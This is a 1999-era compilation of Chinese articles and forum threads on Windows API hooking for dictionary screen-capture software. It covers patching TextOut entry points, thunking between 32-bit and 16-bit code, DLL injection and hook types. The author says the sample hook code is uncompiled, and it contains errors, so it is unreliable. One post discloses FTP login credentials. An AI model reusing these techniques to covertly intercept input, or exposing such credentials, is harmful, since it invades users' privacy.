0x55, 0xfc, 0x54, 0x20, 0x55, 0xfc, 0x5c, 0x20, 0x67, 0xfe,

0x00, 0x20, 0x00, 0x20, 0x00, 0x20

};

HBITMAP hBitmap,hOldBitmap;

HDC hMemDC;

BYTE far *lpDot;

int i;

for ( i=0;i<3;i++ )

{

lpDot=(LPSTR)NameDot+i*32;

hMemDC=CreateCompatibleDC(hDC);

hBitmap=CreateBitmap(16,16,1,1,lpDot);

SetBitmapBits(hBitmap,32L,lpDot);

hOldBitmap=SelectObject(hMemDC,hBitmap);

BitBlt(hDC,x+i*16,y,16,16,hMemDC,0,0,SRCCOPY);

DeleteDC(hMemDC);

DeleteObject(hBitmap);

}

return TRUE;

}

//模块定义文件relocate.def

NAMERELOCATE

EXETYPE WINDOWS

CODEPRELOAD MOVEABLE DISCARDABLE

DATAPRELOAD MOVEABLE MULTIPLE

HEAPSIZE1024

EXPORTS

五、结束语

本文从原理上分析了称为“陷阱”技术的汉化Windows方法。要彻底汉化Windows还要涉及显示，键盘输入等诸多内容，决非一日之功。但作为对“陷阱”技术的分析，本文介绍了将任一Windows函数调用改向到自己指定函数处的通用方法，这种方法可以拓展到其它应用中，如多语种显示，不同内码制式的切换显示等。

参考文献：

AndrewSchulmanDavidMaxeyMattPietrek,《未公开的Windows核心技术》，清华大学出版社，1993年。

王志东，“Windows中文环境”，《Windows软件的应用与开发》，1993.5。

（作者地址：山东潍坊华光科技股份公司研究开发中心 张高峰 邮编261041 ）


屏幕取词技术揭密

以前老看见Trap的资料，到用的时候却一个也找不到。

中国人真TMD藏私，什么都喜欢偷偷留一手，还想进步！

转贴一个讨论吧。

金山词霸”屏幕取词技术揭密(讨论稿)

主题 　屏幕取词技术系列讲座（一）

作者 　 亦东

很多人对这个问题感兴趣。

原因是这项技术让人感觉很神奇，也很有商业价值。

现在词典市场金山词霸占了绝对优势，所以再做字典也没什么前途了。我就是这么认为的，所以我虽然掌握了这项技术，却没去做字典软件。只做了一个和词霸相似的软件自己用，本来想拿出来做共享软件，但我的词库是“偷”来的，而且词汇不多，所以也就算了，词库太小，只能取词有什么用呢？而且词霸有共享版的。

但既然很多人想了解这项技术，我也不会保留。我准备分多次讲述这项技术的所有细节。

大约每周一两次。想知道的人就常常来看看吧！

一.基础知识

首先想编这种程序需要一些基础知识。

会用Vc++，包括16/32位。

精通Windows API特别是GDI,KERNEL部分。

懂汇编语言，会用softice调试程序，因为这种程序最好用softice调试。

二.基本原理

在Window 3.x时代，windows系统提供的字符输出函数只有很少的几个。

TextOut

ExtTextOut

DrawText

......

其中DrawText最终是用ExtTextOut实现的。

所以Windows的所有字符输出都是由调用TextOut和ExtTextOut实现的。因此，如果你可以修改这两个函数的入口，让程序先调用你自己的一个函数再调用系统的字符输出，你就可以得到Windows所有输出的字符了。

到了Windows95时代，原理基本没变，但是95比3.x要复杂。开始的时候，一些在windows3.x下编写的取词软件仍然可以是使用。但是后来出了个IE4，结果很多词典软件就因为不支持IE4而被淘汰了，但同时也给一些软件创造了机会，如金山词霸。其实IE4的问题并不复杂，只不过它的输出的是unicode字符，是用TextOutW和ExtTextOutW输出的。知道了这一点，只要也截取就可以了。不过实现方法复杂一点，以后会有详细讲解。现在又出了个IE5，结果词霸也不好用了，微软真是#^@#$%$*&^&#@#@..........

我研究后找到了一种解决办法，但还有些问题，有时会取错，正在继续研究，希望大家共同探讨。

另外还有WindowsNT，原理也是一样，只是实现方法和95下完全不同。

三.技术要点

要实现取词，主要要解决以下技术问题。

1.截取API入口，获得API的参数。

2.安全地潜入Windows内部，良好地兼容Windows的各个版本

3.计算鼠标所在的单词和字母。

4.如果你在Window95下，做32位程序，还涉及Windows32/16混合编程的技术。

今天先到这里吧！最好准备一份softice for 95/98和金山词霸，让我们先来分析一下别人是怎么做的。

欢迎与我联系

E-Mail:yeedong@163.net

Guest 　1999-04-30 16:00:48

请问用VC自己的DEBUGGER不行吗?为什么要用SOFTICE? 我没用过SOFTICE,它有什么特别之处吗?

葫芦 　1999-04-30 19:15:03

本人对这个问题也有兴趣，以前研究过16位版本截获TextOut和ExtTextOut的过程；

但对金山词霸，用Softice跟踪，发现SetWindowsHookEx在程序装载时就安装了鼠标钩子，暂停取字/恢复取字只是设置的内部变量，但本人发现金山词霸并没有象16位版本那样修改TextOut和ExtTextOut。

苍蝇 (555021552) 　1999-05-02 08:56:57

有哪位大虾愿意先介绍一下SOFTICE？

蟑螂 　1999-05-04 13:58:22

把金山词霸的cjktl95.dll用tdump分析可以看到它根本用的不是hook，而是用了一些kernel32.dll中的Win32 SDK里没有包含的函数，使用这些函数来替换改写原先的几个GDI函数。看来是Win95未公开的一些东西。有些人知道，为什么不肯说出来呢？未必见得多么高深！

葫芦 　1999-05-05 23:28:07

你可能没有研究过它的目标代码，怎么能断言没有使用hook呢？ 其实金山词霸一运行就安装了鼠标钩子。

亦东 　1999-05-07 09:52:42

未必见得多么高深？

你知道有些人是怎么知道这些Win95未公开的东西的吗？你不会是以为微软偷偷告诉他们的吧？其实他们大多和我一样是用softice自己跟踪Win95跟出来的。

还有你从cjktl95.dll里tdump出的未公开函数和hook无关，那是做别的用的。

setwindowshook在user里

亦东 　1999-05-10 16:16:14

从cjktl95.dll里tdump出的未公开函数和32位和16位之间的互调有关。

主题 　屏幕取词技术系列讲座（二）

作者 　 亦东

很抱歉让大家久等了！

我看了一些人的回帖，发现很多人对取词的原理还是不太清楚。

首先我来解释一下hook问题。词霸中的确用到了hook，而且他用了两种hook其中一种是Windows标准hook,通过SetWindowHook安装一个回调函数，它安装了一个鼠标hook，是为了可以及时响应鼠标的消息用的和取词没太大关系。

另一种钩子是API钩子，这才是取词的核心技术所在。他在TextOut等函数的开头写了一个jmp语句，跳转到自己的代码里。

你用softice看不到这个跳转语句是因为它只在取词的一瞬间才存在，平时是没有的。

你可以在TextOut开头设一个读写断点

bpm textout

再取词，就会找到词霸用来写钩子的代码了。

/**********************************

所以我在次强调，想学这种技术一定要懂汇编语言和熟练使用softice.

**********************************/

至于从cjktl95中dump出来的未公开函数是和Windows32/16混合编程有关的，以后我会提到他们。

我先来讲述取词的过程，

0 判断鼠标是否在一个地方停留了一段时间

1 取得鼠标当前位置

2 以鼠标位置为中心生成一个矩形

3 挂上API钩子

4 让这个矩形产生重画消息

5 在钩子里等输出字符

6 计算鼠标在哪个单词上面，把这个单词保存下来

7 如果得到单词则摘掉API钩子，在一段时间后，无论是否得到单词都摘掉API钩子

8 用单词查词库，显示解释框。

很多步骤实现起来都有一些难度，所以在中国可以做一个完善的取词词典的人屈指可数。

其中0,1,2,7,8比较简单就不提了。

先说如何挂钩子：

所谓钩子其实就是在WindowsAPI入口写一个JMP XXXX:XXXX语句，跳转到自己的代码里。

步骤如下：

1.取得Windows API入口，用GetProcAddress实现

2.保存API入口的前五个字节，因为JMP是0xEA，地址是4个字节

3.写入跳转语句

这步最复杂

Windows的代码段本来是不可以写的，但是Microsoft给自己留了个后门。

有一个未公开函数是AllocCsToDsAlias，

UINT WINAPI ALLOCCSTODSALIAS(UINT);

你可以取到这个函数的入口，把API的代码段的选择符（要是不知道什么是选择符，就先去学学保护模式编程吧）传给他，他会返回一个可写的数据段选择符。这个选择符用完要释放的。用新选择符和API入口的偏移量合成一个指针就可以写windows的代码段了。

这就是取词技术的最核心的东东，不止取词，连外挂中文平台全屏汉化都是使用的这种技术。现在知道为什么这么简单的几句话却很少知道了吧？因为太多的产品使用他，太多的公司靠他赚钱了。

这些公司和产品有：中文之星，四通利方，南极星，金山词霸，实达铭泰的东方快车，roboword，译典通,即时汉化专家等等等等。。。。还有至少20多家小公司。他们的具体实现虽然不同，但大致原理是相同的。

我这些都是随手写的，也没有提纲之类的东西，以后如果有机会我会整理一下，大家先凑合着看吧！xixi...

葫芦 　1999-05-06 14:52:30

你说的这个技术是16位的,至少金山词霸III没有采用16位的AllocCsToDsAlias函数,也根本没有修改TextOut开始的语句为JMP XXXXXXXX。softice本人非常精通，是绝对不会错的！

葫芦 　1999-05-06 15:38:40

谁假冒吾名，坏吾名声？！本人在此郑重宣布，以上贴子非本人所发！

经过跟踪分析，金山词霸III确实修改了TextOut的入口为转跳到自身代码的JMP XXXXXXXX语句，只是修改没有调用AllocCsToDsAlias，也不是在取字时才去修改，而是常常修改（估计是在Timer中进行的）。

亦东 　1999-05-06 17:25:23

我说过词霸里用AllocCsToDsAlias了吗？

我是说AllocCsToDsAlias，的确可以用，但词霸里是用DPMI的Int 31做的，其实本质是一样的，你用softice跟一下就知道了

bpint 31 设一个中断断点。

实际上我至少有五种方法写Windows代码段

我介绍使用AllocCsToDsAlias是因为这种方法最简单，其他方法要麻烦得多。

词霸用int 31来做是出于兼容性的考虑，

AllocCsToDsAlias毕竟不是公开函数，但DPMI却是标准。

词霸在你鼠标在某一点停留超过200ms时就会取词，所以他有一个定时器，会经常修改API入口。

看来“假”葫芦只是自以为非常精通softice.

mao 　1999-05-06 19:29:28

在微软的MSDN中有一个程序，包含了全部的Source code, 名字好象叫"Inject" 或 stealth什么的，忘了。提供了一个很完善的hook任何一个windows函数的功能。对win16完全适用，在win95下也有用，但NT下不行。

建议大家去找找这个例子看看会很有帮助。

此外有本清华出的微软的Advanced Windows也介绍了具体的方法。

建议亦东干脆把source code给open出来，让有兴趣的朋友用起来更方便，把取词技术可发展的应用发扬光大!

亦东 　1999-05-07 09:40:56

我不主张“把取词技术可发展的应用发扬光大”，这也是我掌握了这项技术一年多才公开它的原因。我公开它并不是想让大家都来做字典软件，相反我希望不要再有人做字典了，现在做字典的人已经太多了。看到某种软件有利可图，大家就一哄而上，这种恶性竞争对中国软件业的发展是极其有害的。我公开他的目的是希望提高大家的编程水平。你会发现在研究这项技术的过程中你的编程水平和对Windows的理解程度会有质的飞跃，我本人就从中获益匪浅。

MSDN中是有这样的代码。

甚至有一个叫ProcHook.Dll，提供SetProcAddress之类的函数，但是没有源码。源码在1994年的 MSJ 上很难弄到的。

源码我会分几次公开，每次会有详细的说明。

想要源码的人，准备一份VC++1.52或Borland C++，最好还有softice，下次我会给出一段代码，教你如何修改Windows的代码。

老冒 (555036) 　1999-05-07 11:56:46

如果认为屏幕取词的应用就是做字典，就大错特错了。其实关于拦劫windows api的东东早就在93年的Undocument Windows上公开过了。

其实Adobe的Adobe Type Manager在Windows 3.0的时代就通过这种办法实现了漂亮的字体. (现在有TTF不需要ATM了)

MSDN上的那个东东是有全部source和sample, 我抓下来编译过。是1996年夏天的一张MSDN Level 2光碟上的，现在也不知搁哪里了，有兴趣的朋友自己找去吧。

还是open 完整的source好，很多朋友其实只要用这项技术，并不太想知道细节，不是吗.

亦东 　1999-05-07 13:28:19

这种技术不是做字典全屏汉化就是外挂语言平台，自从王志东使用它以来，就没用来编过其他软件，也许有但我不知道。

原来有那么多书和其他资料上都有这种技术的资料还有例子，到是我孤陋寡闻了，以为大家都不知道，在这里给大家讲一些众所周知的东西。回去我要好好研究一下，看看Rasir Dex的词霸是从那里抄的。

我不知道某项技术中细节是不是重要，如果很多人只想用而不想自己编，那么楼下那50多个回帖是怎么回是？

老冒 　1999-05-07 13:54:18

呵呵，你可千万要坚持把讲座做下去，否则那50多个回应的哥们企不要把我给痛扁了...:)

俺已两年多不碰底层技术的,这方面很落后啦...俺可应付不了这么多热切的求知朋友，亦东要顶住呵!

欢迎和俺多多交流探导!

P.S. 亦东大侠目前何方高就？ 正在忙什么项目？交流交流

亦东 　1999-05-07 17:46:06

没什么正经事做，到处瞎混呢！

葫芦 　1999-05-08 21:50:29

我对此持否定观点，不要自作聪明，以为AllocCsToDsAlias就是能用的，其实AllocCsToDsAlias只是16位的Windows用的函数，32位的Win95程序不能使用此函数，不信你在VC 5.0或6.0中可以试试。

另外，int 31h也不是说能用就能拿来用的，在Windows 3.x下使用是没有问题的（本人还有这方面的文章发表），但在Win95下随意使用会产生GP错，主要原因是32位并不支持DPMI直接调用，不知亦东先生对此有没有研究，就在此发表诸多理论!本人就先请问：32位程序如何调用16位函数或动态库你懂不懂？

葫芦 　1999-05-09 02:39:10

上面的这个帖子并没有攻击谁的意思，只是希望大家探讨问题都要本着认真的态度，不要不懂装懂，至少有一点大家要清楚：32位的程序根本不能使用 int 31h，调用16位的动态库Kernel中的AllocCsToDsAlias也并不是件简单的事。

nn_zdm (555031742) 　1999-05-09 16:35:35

使用hook函数，可用的功能并非只是做字典全屏汉化和外挂语言平台。使用hook可以调试程序，就象你们说的softice其本身也是使用了hook函数。

nn_zdm (555031742) 　1999-05-09 16:42:05

另外hook函数还可以使用在游戏修改工具中，本人就开发过此类工具。《整人专家》估计也是使用这种方法。当然还有另外两种方法。

亦东 　1999-05-10 16:10:59

你们说的都有道理。

但hook有两种，一种是Windows标准钩子，通过SetWindowshook挂。

另一种是非标准的，通过在API入口写JMP XXXXXXXX来实现的。

softice的钩子更高级，他都挂到VXD上了。

从32为代码调用16位DLL碰巧我会。

打倒米D国主义！！！

瓜果 　1999-05-10 17:07:00

谁知道在哪能搞到SOFTICE，我以前从未用过它！

葫芦 　1999-05-10 21:39:46

愿继续拜读你以后的讲座。

SOFTICE吗？光盘上很多，有for DOS, for Windows95, for Windows NT 各个版本。

孙玮 (555031339) 　1999-05-11 11:08:35

能否将 si for NT 上传到 10.82.46.33

(使用 ftp) user: haotao

pass: haotao123

tommy 　1999-05-11 11:34:11

http://www.swww.com.cn/htm/down/others/main.html 可以下载

亦东 　1999-05-11 14:01:19

最近忙于反美，暂时没时间再写了，过些时间才行，下次我会给出源码。

最新消息，美国海军被黑了。

http://www.nctsw.navy.mil/

打倒米D国主义！！！

黄金狮子 　1999-05-12 13:19:32

我对各位大虾的讨论深感兴趣。

有几个问题想请教：

1.AllocCsToDsAlias 在32-bit下调用是否采用Thunk?

2.32-bit 下是否有类似function?

3.Jeffrey Richter的"Advanced Windows"里Remote Thread 的Thread Stack来远程注入DLL函数，因此不需上述Function.

4.我有MSJ 1994-1的ProcHook.dll的source code,不知用于WinNT需如何改动.

5.总而言之，有无WinNT下hook API的source code,请告知.

(我还有Softice 3.24 for Win95, 3.25 for WinNT.)

--这个主题很好

鼹鼠 　1999-05-14 09:41:20

请大虾给我发一份MSJ 1994-1的ProcHool.dll的source code, 我现在急需这方面的资料。谢谢！！

Email Address: yanshg@263.net

下面是一个Australia人的API hook软件，　它是基于VxD技术。

Molten　Home Page:

http://ourworld.compuserve.com/homepages/molten

黄金狮子 　1999-05-14 14:34:54

在Win95和NT上，可通过WriteProcessMemory()直接写Code Segment.(原来以为"advanced Windows" 调CreateRemoteThread(),是因为WriteProcessMemory()只能写代码段和堆栈段)

阿涛 　1999-05-14 19:45:05

如何亦东老兄要分步公布是PROCHOOK的代码就不必了，这个程序的代码很容易搞到，只须到MSJ的站点上查一下就可找到。

亦东 　1999-05-14 21:44:39

大家到msj的大海里去捞针好了。

在95你WriteProcessMemory 写kernel user gdi试试，一定失败。

调CreateRemoteThread并不是为了写代码段，有别的用途，是为了在其他进程里分配内存。回去再好好看看“advanced Windows" 最好用一个程序试试，你就明白了。

其实在NT4.0调CreateRemoteThread是没必要的，这是为了兼容NT3.51.

nn_zdm (555031742) 　1999-05-18 13:57:48

利用CreateRemoteThread()函数,在WinNT4.0中使用很有用,它是在winNT中闯过进程边界的三种办法之一,在WinNT中,使用它可以进行远程调试,及修改他人代码.

nn_zdm (555031742) 　1999-05-18 14:07:17

在winNT中用WriteProcessMemory()写code

代码是可以的,win95没试过,但MSDN上说是可以的.不过,可能没什么用,因为CreateRemoteThread()函数只在winNT中有用.

如:

WriteProcessMemory(...,"LoadLibrary(...,"mydll.dll",..).

CreateRemoteThread(...)

nn_zdm (555031742) 　1999-05-18 14:14:19

上面写漏了,应是

WriteProcessMemory(...,"LoadLibrary(...,"mydll.dll",..). ");

CreateRemoteThread(...) ;

主题 　关于屏幕取词的讨论(三)

作者 　 亦东

让大家久等，很抱歉，前些时候工作忙硬盘又坏了，太不幸了。

这回来点真格的。

咱们以截取TextOut为例。

下面是代码：

//截取TextOut

typedef UINT (WINAPI* ALLOCCSTODSALIAS)(UINT);

ALLOCCSTODSALIAS AllocCsToDsAlias;

BYTE NewValue[5];//保存新的入口代码

BYTE OldValue[5];//API原来的入口代码

unsigned char * Address=NULL;//可写的API入口地址

UINT DsSelector=NULL;//指向API入口的可写的选择符

WORD OffSetEntry=NULL;//API的偏移量

BOOL bHookAlready = FALSE; //是否挂钩子的标志

BOOL InitHook()

{

HMODULE hKernel,hGdi;

hKernel = GetModuleHandle("Kernel");

if(hKernel==NULL)

return FALSE;

AllocCsToDsAlias = (ALLOCCSTODSALIAS)GetProcAddress(hKernel,"AllocCsToDsAlias");//这是未公开的API所以要这样取地址

if(AllocCsToDsAlias==NULL)

return FALSE;

hGdi = GetModuleHandle("Gdi");

if(hmGdi==NULL)

return FALSE;

FARPROC Entry = GetProcAddress(hGdi,"TextOut");

if(Entry==NULL)

return FALSE;

OffSetEntry = (WORD)(FP_OFF(Entry));//取得API代码段的选择符

DsSelector = AllocCsToDsAlias(FP_SEG(Entry));//分配一个等同的可写的选择符

Address = (unsigned char*)MK_FP(DsSelector,OffSetEntry);//合成地址

NewValue[0]=0xEA;

*((DWORD*)(NewValue+1)) = (DWORD)MyTextOut;

OldValue[0]=Address[0];

*((DWORD*)(OldValue+1)) = *((DWORD*)(Address+1));

}

BOOL ClearHook()

{

if(bHookAlready)

HookOff();

FreeSelector(DsSelector);

}

BOOL HookOn()

{

if(!bHookAlready){

for(int i=0;i<5;i++){

Address[i]=NewValue[i];

}

bHookAlready=TRUE;

}

}

BOOL HookOff()

{

if(bHookAlready){

for(int i=0;i<5;i++){

Address[i]=OldValue[i];

}

bHookAlready=FALSE;

}

}

//钩子函数，一定要和API有相同的参数和声明

BOOL WINAPI MyTextOut(HDC hdc,int nXStart,int nYStart,LPCSTR lpszString,UINT cbString)

{

BOOL ret;

HookOff();

ret = TextOut(hdc,nXStart,nYStart,lpszString,cbString);//调原来的TextOut

HookOn();

return ret;

}

上面的代码是一个最简单的挂API钩子的例子，我要提醒大家的是，这段代码是我凭记忆写的，我以前的代码丢了，我没有编译测试过

因为我没有VC++1.52.所以代码可能会有错。

建议使用Borland c++，按16位编译。

如果用VC++1.52，则要改个选项

在VC++1.52的Option里，有个内存模式的设置，选大模式，和"DS!=SS DS Load on Function entry.",切记，否则会系统崩溃。

有什么不明白的可以给我写信

yeedong@163.net

Guest 　1999-05-21 22:20:47

你这是16为的地址存取模式吧

你看这个MK_FP,win32不用了，

而且GetProcAddress(hKernel,"AllocCsToDsAlias")

这个API有用吗？

sorry

Guest 　1999-05-21 22:31:47

亦东，想请教一个问题，

win32下，每个process有

自己的地址空间，process

A得到process B 的一个窗口C的handle,这个

handle的值 等于process B自己得到的window C 的handle值 吗？

我想应该不相等，但系统是如何转换的呢？(比如process A 向

window C 发消息，系统如何

知道process A 里的handle 和process B 里的

handle 都是指的window C)

. 是不是用duplicatehandle()?

（声明，我是真的不知道）

亦东 　1999-05-21 22:54:48

这段代码就是十六位的。

你用Win32根本就不能编译。

32位没有AllocCsToDsAlias，因为在32位里不能写系统代码段（其实有办法，不是这样，不过比较麻烦）。

系统代码都在0x80000000以上，都是只读的。

所以要截WinAPI只能用16位的代码。

每个Process有自己的地址空间没错，但Window的句柄是共享的，同一个窗口在任何进程里的句柄都是一样的。

你可以在自己的进程里向任何窗口发消息。

Window的句柄很多，有的是共享的有的不是，

我也不知道那里有说明，一般是凭经验或试试看。

GUEST 　1999-05-22 20:51:51

如果 window handle 换成

moudle handle呢？我

用moudlefirst,moudlenext遍历

得到的某个moudle 的句柄，

在任何一个process 中得到的

这个moudle handle 都是一样的值吗。(这个handle 和进程地址空间无关吗？）。

thx

亦东 　1999-05-23 22:31:59

绝对有关

在Win32里module handle就是模块的起始地址。

说起来比较复杂

在95和NT里有些不同

在Win32里，每个模块(DLL,EXE)有一个ImageBase，这个数存放在DLL和EXE的文件头里。每个模块通常是不一样的。当Windows加载这个模块时优先考虑把模块放到Imagebase指定的地址，但有时会出现两个模块的地址重叠会有冲突，Windows会把模块移到与Imagebase最近的地址。所以Imagebase相同的模块在不同进程可能会在不同的地址上。这个地址就是module handle.Imagebase是可以在编译时指定的。

你用moudlefirst,moudlenext遍历得到的module handle是和进程有关的。

比如：你编了一个Imagebase为0x10000000的DLL A,进程A调用这个DLL A,在进程A里这个DLL被加载到地址0x10000000处，他的module handle为0x10000000，进程B也调用这个DLL A,但是进程B还调用另外一个DLL B,这另外的DLL B也是Imagebase为0x10000000的而且先加载，这是进程B的这个DLL A可能就被加载到0x13000000了，DLL A在进程B里的module handle 就是0x13000000了。

在95下，模块是共享的，也就是Windows只加载一份模块到内存，所有用到这个模块的进程都映射同一个模块，也就是说在95里每个模块在物理内存里只有一份。NT则不同，他为每个进程都加载一份模块。所以NT比95需要的内存多。所以在NT里不但在不同进程里的Module handle可能不同，连物理地址都是不同的。

yeedong@163.net


屏幕取词核心内幕

屏幕取词核心内幕

本文只对与几个关键性技术的实现细节进行讨论，其它的编程细节，请参考源程序。

32位到16位的形式替换

32位代码与16位代码的数据交换

动态修改Windows内核

1． 32bit到16bit的形式替换（Thunk）

形式替换是指那些允许从16位代码调用32位代码或从32位代码调用16位代码的技术。形式替换用于解决试图在同一操作系统或同一可执行程序上使16位代码与32位代码同时并存的问题，即16位代码与32位代码的混合编程技术。早期的DOS程序及Window3.x上的应用程序均为16位程序，Windows95及Windows NT虽然也可运行旧的16位程序，但它们的主流发展方向是32位应用程序。与Windows NT不同的是，Windows95不是一个“纯”32位操作系统，为了兼有令人满意的速度和与旧的16位程序的良好兼容性，其内核本身就是一个16位与32位的混合体，因此也为编程者使用形式替换提供了便利。Microsoft为编写形式替换程序提供了通用的接口及工具，但因LTW32中的形式替换并不复杂，所以使用了一些编程技巧，而避免了使用Microsoft复杂的开发工具。

形式替换中最主要的问题有两点：①16位与32位数据类型尺寸的变化，如16位代码到32位代码的一个重要变化是整型数int的长度加倍了 ；②是堆栈操作时，16位模式使用SS:SP堆栈指针控制栈顶，而在32位模式中使用ESP寄存器作堆栈指针控制栈顶。

在LTW32中，屏幕抓词功能由16位DLL实现，因而只需实现32位到16位的形式替换，为32位代码提供16位DLL的调用接口。CALL FWORD PTR是32位汇编代码的一种调用方法，它可让32位代码调用到16位代码。作为实现的关键，控制16位侧与32位侧各自的堆栈是编程的要点。

32位侧的调用代码：

_asm{

pusha

call fword ptr [func16bit] /* func16bit是16位被调用者的48位地址 */

popa

}

16位侧的调用代码：

int dummy;

static char stack[8192]; /* 16位代码的临时堆栈 */

static WORD stack_seg;

static WORD prev_seg;

static DWORD prev_ofs;

static WORD prev_ds;

_asm{

push ax;

push bx;

mov ax, ds;

mov bx, seg dummy;

mov ds, bx;

mov stack_seg, bx;

mov prev_ds, ax;

pop bx;

pop ax;

mov prev_seg, ss;

mov dword ptr prev_ofs, esp; /* 保存32位堆栈指针 */

mov ss, stack_seg;

mov sp, offset stack; /* 设置16位堆栈指针 */

add sp, 8192;

}

/* 此处加入16位代码要实现的功能 */

_asm{

mov ss, prev_seg;

mov esp, dword ptr prev_ofs; /* 恢复32位堆栈指针 */

mov ds, prev_ds;

lea sp, word ptr [bp-2];

pop ds;

pop bp;

dec bp;

db 66h;

retf;

}

由于调用中传递的参数有限，所以涉及的代码并不多，唯一比较复杂之处在16位侧，它临时转向一个16位堆栈，服务于来自32位的调用者的请求。在16位侧入口处，必须存放好32位调用者的32位堆栈的指针，并且在16位侧返回时恢复它。由代码可见，这个过程是不可重入的，即一次只支持一个调用者，由于调用者只有LTW32的32位侧代码，所以此限制可以满足。另外，在16位代码返回时，必须恢复32位调用者的48位堆栈指针（SS:ESP）而不是32位的CS:SP，而且必须用一个48位地址（16:32）远返回（66h RETF）到它的32位调用者。

处理好这些细节，实现32位到16位的形式替换实际上是很简单的。

2． 32位代码与16位代码的数据交换

32位代码使用16位段地址加32位线性地址（16:32）的地址形式，16位代码使用16位段选择符（selector）加16位偏移（16:16）的地址形式。在Windows 95的32位侧，段址28h是系统段，即通过CS=28h或DS=28h可以访问系统的4G空间，其它应用程序的地址空间都是映射到28h段的4G空间中。Windows95中所有32位进程的地址空间（共4G）的高2G（80000000H~FFFFFFFFH）全部映射到28:80000000~28:FFFFFFFFH。即这块区域是所有32位程序共享的。这里一般存放系统DLL、虚拟设备驱动程序（VxD）、内存映射文件、16位应用程序和16位全局堆等。最后一项很重要，这为32位代码与16位代码交换数据提供了一个简便的方法。因为16位程序的段选择符的基址即是其所映射的系统段中的线性地址，这样，只要能够得到这个线性地址，32位代码就可以轻易地访问到16位程序的数据（LTW32 的32位侧使用此方法从16位侧获得屏幕截获的信息）。而16位段选择符的线性基址可以通过使用系统调用GetSelectorBase()得到，具体实现可参考源程序。线性地址计算的例子如下：

16位地址：07F2:1234H

段选择符 07F2H的线性基址为：82F41300H

段选择符 07F2H的尺寸为：4000H

∵ 82F41300H + 1234H = 82F42534

∴ 对应的32位线性地址为28:82F42534H

3． 动态修改Windows内核

如前所述，Windows95不是一个“纯”32位操作系统，其内核模块中的USER和GDI均是用16位代码实现的。USER32.DLL和GDI32.DLL只是16位的USER.EXE和GDI.EXE的32位调用接口。因此，如果屏幕截获程序用32位代码实现，则只能截获32位应用程序对USER32.DLL和GDI32.DLL的调用，无法截获16位应用程序对USER.EXE和GDI.EXE的调用，所以如果想截获所有应用程序（包括Windows95的桌面程序Explorer）中有关屏幕输出的系统调用，则应该用16位代码实现屏幕截获功能。这就是LTW32为什么不是“纯”32位应用程序的原因。LTW32主要截获两个系统调用TextOut()和ExtTextOut()，方法很简单，把这两个函数的头五个字节修改为一个JMP FAR 指令，使得对这两个函数的调用均转向屏幕截获程序。这就涉及到一个关键问题：动态修改Windows的代码。

在传统的DOS程序中，动态修改程序代码无任何困难，但在Windows中则不然，因为在Windows中，代码可被同一程序的多个实例（进程）共享，所以系统不允许应用程序动态的修改代码。在16位侧，内存的可读、写属性是与段选择符联系在一起的。段选择符基本上可分为两类：数据段选择符和代码段选择符。前者可读、可写、不可执行；后者可读、可执行、不可写。Windows提供了这两类段选择符相转换的系统调用。未公开的16位系统调用AllocCStoDSAlias()为给定的代码段选择符分配一个具有相同线性基址和尺寸的数据段别名（DS Alias）。通过DS别名可以对给定的代码段进行修改。AllocCStoDSAlias()的使用方法如下：

WORD (FAR PASCAL *AllocCStoDSAlias)(WORD);

AllocCStoDSAlias = GetProcAddress(

GetModuleHandle(“KERNEL”), ”ALLOCCSTODSALIAS”);

调用参数为给定的代码选择符，调用成功时返回一个线性基址和尺寸均与原代码选择符相同的DS别名。当不再使用此DS别名时，要用系统调用FreeSelector()把DS别名释放掉。

使用上述技术，就可实现动态修改Windows代码，从而改变GDI的系统调用TextOut()和ExtTextOut()的执行动作，实时地截获屏幕输出，为实现鼠标随动翻译提供可能。

把上述的32位到16位的形式替换、32位代码与16位代码的数据交换、动态修改Windows内核等技术综合应用在一起，配合单词查找算法和词组分析算法就可以实现鼠标随动翻译功能。


请问如何应用SetWindowsHookEx

一共四个参数，第一个是HOOK的类型，第二个是处理HOOK的函数地址，第三个是主程序的HANDLEM，第四个是限制的线程HANDLE，如果对所有都有效，置0

主要是第一个参数，类型比较多。

WH_CALLWNDPROC 在SENDMESSAGE函数被调用时

WH_CALLWNDPROCRET在SENDMESSAGE函数返回之后

WH_CBT一个基于计算机的钩子调用，发生在激活、创建、关闭、极小化、极大化、搬移或改变一个窗口的大小之前，在完成一个系统命令之前、在清除一个鼠标或键盘事件之前、在设置焦点之前、以及在同步系统消息队列之前

WH_DEBUG 在任何其他过滤钩子被调用之前调用

WH_GETMESSAGE在GETMESSAGE函数已搜索到一个来自应用队列的消息时调用

WH_HARDWARE发生在当应用调用了GETMESSAGE或PEEKMESSAGE函数，且有一个非标准的硬件消息（不是鼠标和键盘事件）时

WH_JOURNALRECORD发生在当系统从系统消息队列中清除消息时

WH_JOURNALPLAYBACK用于将键盘和鼠标消息括入到系统消息队列中

WH_MOUSE发生在应用调用了GETMESSAGE或PEEKMESSAGE函数，且有一个鼠标消息等待处理

WH_MSGFILETER一个应用范围的钩子，发生在一个对话框，消息框，或菜单已接收了一个消息之后，但是该消息真正被处理之前

WH_SHELL被外壳应用程序用来从系统接受通知消息

WH_SYSMSGFILTER一个系统范围的钩子，发生在一个对话框，消息框，或菜单已接收了一个消息之后，但是该消息真正被处理之前


Delphi中Hook技术全接触

看到有的兄弟说delphi下的hook不好做,所以在下把每个hook都在delphi做了一下,觉得没啥问题,而且处理的方法较新颖,拿来让兄弟们探讨,关于hook问题,有不懂的问我就行,不过有的hook我只做了个框架,没有具体实用作用,要做的兄弟自已完善就行了,呵呵,代码在下面,自已看啦..........

-------------------------------------------

我的联系方法:

oicq; 10772919

e-mail: njhhack@21cn.com

homepage: hotsky.363.net

--------------------------------------------

----------这是*.dll中的单元---------------

unit hookproc;

interface

uses windows,messages,sysutils;

const

htname:array[1..13] of pchar=(

'callwndproc','callwndprocret','cbt','debug','getmessage','journalplayback',

'journalrecord','keyboard','mouse','msgfilter','shell','sysmsgfilter','foregroundidle'

);

function callwndproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function callwndretproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function cbtproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function debugproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function getmsgproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function journalplaybackproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function journalrecordproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function keyboardproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

